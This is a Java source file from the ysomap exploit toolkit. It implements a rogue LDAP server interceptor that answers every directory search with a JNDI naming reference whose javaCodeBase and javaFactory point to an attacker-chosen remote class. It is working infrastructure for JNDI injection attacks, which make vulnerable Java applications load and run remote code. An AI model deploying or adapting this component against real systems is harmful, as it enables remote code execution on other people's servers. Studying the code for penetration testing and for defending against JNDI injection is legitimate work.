package ysomap.exploits.ldap.component;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import ysomap.common.util.Logger;

/**
 * @author wh1t3P1g
 * @since 2020/2/29
 */
public class OperationInterceptor extends InMemoryOperationInterceptor {

    private String codebase;
    private String objectName;

    public OperationInterceptor(){}
    /**
     *
     */
    public OperationInterceptor ( String codebase, String objectName ){
        this.codebase = codebase;
        this.objectName = objectName;
    }


    /**
     * {@inheritDoc}
     *
     * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
     */
    @Override
    public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
        Logger.normal("Have request from "+result.getConnectedAddress());
        String base = result.getRequest().getBaseDN();
        Logger.normal("Get Search obj<"+base+">");
        Entry entry = new Entry(base);
        try {
            processAttribute(entry);
            result.sendSearchEntry(entry);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            Logger.normal("return a reference and close");
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }

    }

    // return a jndi references
    protected void processAttribute (Entry entry) {
        entry.addAttribute("javaClassName", "foo");
        entry.addAttribute("javaCodeBase", codebase);
        entry.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
        entry.addAttribute("javaFactory", objectName);
    }


}
